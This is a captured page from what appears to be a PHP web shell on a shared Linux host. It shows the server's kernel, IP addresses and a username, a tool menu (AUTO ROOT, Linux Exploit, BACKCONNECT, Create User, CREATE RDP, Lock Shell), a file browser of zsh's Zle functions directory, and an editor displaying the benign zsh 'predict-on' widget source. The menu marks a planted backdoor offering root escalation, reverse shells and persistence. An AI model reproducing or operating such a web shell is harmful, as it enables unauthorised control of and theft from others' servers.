Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
zsh /
functions /
Zle /
[ HOME SHELL ]
Name
Size
Permission
Action
backward-kill-word-match
608
B
-rw-r--r--
backward-word-match
450
B
-rw-r--r--
bracketed-paste-magic
7.33
KB
-rw-r--r--
bracketed-paste-url-magic
1.16
KB
-rw-r--r--
capitalize-word-match
373
B
-rw-r--r--
copy-earlier-word
795
B
-rw-r--r--
cycle-completion-positions
497
B
-rw-r--r--
define-composed-chars
8.48
KB
-rw-r--r--
delete-whole-word-match
1.64
KB
-rw-r--r--
down-case-word-match
376
B
-rw-r--r--
down-line-or-beginning-search
623
B
-rw-r--r--
edit-command-line
1.17
KB
-rw-r--r--
expand-absolute-path
473
B
-rw-r--r--
forward-word-match
977
B
-rw-r--r--
history-beginning-search-menu
3.4
KB
-rw-r--r--
history-pattern-search
2.12
KB
-rw-r--r--
history-search-end
812
B
-rw-r--r--
incarg
1002
B
-rw-r--r--
incremental-complete-word
3.78
KB
-rw-r--r--
insert-composed-char
5.12
KB
-rw-r--r--
insert-files
1001
B
-rw-r--r--
insert-unicode-char
715
B
-rw-r--r--
keeper
3.37
KB
-rw-r--r--
keymap+widget
2.6
KB
-rw-r--r--
kill-word-match
606
B
-rw-r--r--
match-word-context
1.23
KB
-rw-r--r--
match-words-by-style
10.19
KB
-rw-r--r--
modify-current-argument
2.72
KB
-rw-r--r--
move-line-in-buffer
424
B
-rw-r--r--
narrow-to-region
4.9
KB
-rw-r--r--
narrow-to-region-invisible
211
B
-rw-r--r--
predict-on
4.6
KB
-rw-r--r--
quote-and-complete-word
1.41
KB
-rw-r--r--
read-from-minibuffer
1.31
KB
-rw-r--r--
replace-argument
1.09
KB
-rw-r--r--
replace-string
970
B
-rw-r--r--
replace-string-again
1.81
KB
-rw-r--r--
select-bracketed
1.66
KB
-rw-r--r--
select-quoted
1.69
KB
-rw-r--r--
select-word-match
3.83
KB
-rw-r--r--
select-word-style
2.18
KB
-rw-r--r--
send-invisible
2.54
KB
-rw-r--r--
smart-insert-last-word
4.36
KB
-rw-r--r--
split-shell-arguments
1.54
KB
-rw-r--r--
surround
2.06
KB
-rw-r--r--
transpose-lines
1.06
KB
-rw-r--r--
transpose-words-match
1.64
KB
-rw-r--r--
up-case-word-match
377
B
-rw-r--r--
up-line-or-beginning-search
601
B
-rw-r--r--
url-quote-magic
5.94
KB
-rw-r--r--
vi-pipe
1.07
KB
-rw-r--r--
which-command
1.01
KB
-rw-r--r--
zcalc-auto-insert
267
B
-rw-r--r--
zed-set-file-name
145
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : predict-on
# This set of functions implements a sort of magic history searching. # After predict-on, typing characters causes the editor to look backward # in the history for the first line beginning with what you have typed so # far. After predict-off, editing returns to normal for the line found. # In fact, you often don't even need to use predict-off, because if the # line doesn't match something in the history, adding a key performs # standard completion --- though editing in the middle is liable to delete # the rest of the line. # # With the function based completion system (which is needed for this), # you should be able to type TAB at almost any point to advance the cursor # to the next "interesting" character position (usually the end of the # current word, but sometimes somewhere in the middle of the word). And # of course as soon as the entire line is what you want, you can accept # with RETURN, without needing to move the cursor to the end first. # # To use it: # autoload -Uz predict-on # zle -N predict-on # zle -N predict-off # bindkey '...' predict-on # bindkey '...' predict-off # Note that all functions are defined when you first type the predict-on # key, which means typing the predict-off key before that gives a harmless # error message. predict-on() { zle -N self-insert insert-and-predict zle -N magic-space insert-and-predict zle -N backward-delete-char delete-backward-and-predict zle -N delete-char-or-list delete-no-predict zstyle -t :predict verbose && zle -M predict-on return 0 } predict-off() { zle -A .self-insert self-insert zle -A .magic-space magic-space zle -A .backward-delete-char backward-delete-char zstyle -t :predict verbose && zle -M predict-off return 0 } insert-and-predict () { setopt localoptions noshwordsplit noksharrays if [[ $LBUFFER == *$'\012'* ]] || (( PENDING )) then # Editing a multiline buffer or pasting in a chunk of text; # it's unlikely prediction is wanted zstyle -t ":predict" toggle && predict-off zle .$WIDGET "$@" return elif [[ ${RBUFFER[1]} == ${KEYS[-1]} ]] then # Same as what's typed, just move on ((++CURSOR)) else LBUFFER="$LBUFFER$KEYS" if [[ $LASTWIDGET == (self-insert|magic-space|backward-delete-char) || $LASTWIDGET == (complete-word|accept-*|predict-*|zle-line-init) ]] then if ! zle .history-beginning-search-backward then RBUFFER="" if [[ ${KEYS[-1]} != ' ' ]] then unsetopt automenu recexact integer curs=$CURSOR pos nchar=${#LBUFFER//[^${KEYS[-1]}]} local -a +h comppostfuncs local crs curcontext="predict:${${curcontext:-:::}#*:}" comppostfuncs=( predict-limit-list ) zle complete-word # Decide where to leave the cursor. The dummy loop is used to # get out of that `case'. repeat 1 do zstyle -s ":predict" cursor crs case $crs in (complete) # At the place where the completion left it, if it is after # the character typed. [[ ${LBUFFER[-1]} = ${KEYS[-1]} ]] && break ;& (key) # Or maybe at the n'th occurrence of the character typed. pos=${BUFFER[(in:nchar:)${KEYS[-1]}]} if [[ pos -gt curs ]] then CURSOR=$pos break fi ;& (*) # Or else at the previous position. CURSOR=$curs esac done fi fi else zstyle -t ":predict" toggle && predict-off fi fi return 0 } delete-backward-and-predict() { if (( $#LBUFFER > 1 )) then setopt localoptions noshwordsplit noksharrays # When editing a multiline buffer, it's unlikely prediction is wanted; # or if the last widget was e.g. a motion, then probably the intent is # to actually edit the line, not change the search prefix. if [[ $LBUFFER = *$'\012'* || $LASTWIDGET != (self-insert|magic-space|backward-delete-char) ]] then zstyle -t ":predict" toggle && predict-off LBUFFER="$LBUFFER[1,-2]" else ((--CURSOR)) zle .history-beginning-search-forward || RBUFFER="" return 0 fi else zle .kill-whole-line fi } delete-no-predict() { [[ $WIDGET != delete-char-or-list || -n $RBUFFER ]] && predict-off zle .$WIDGET "$@" } # This is a helper function for autocompletion to prevent long lists # of matches from forcing a "do you wish to see all ...?" prompt. predict-limit-list() { if (( compstate[list_lines]+BUFFERLINES > LINES || ( compstate[list_max] != 0 && compstate[nmatches] > compstate[list_max] ) )) then compstate[list]='' elif zstyle -t ":predict" list always then compstate[list]='force list' fi } # Handle zsh autoloading conventions [[ -o kshautoload ]] || predict-on "$@"
Close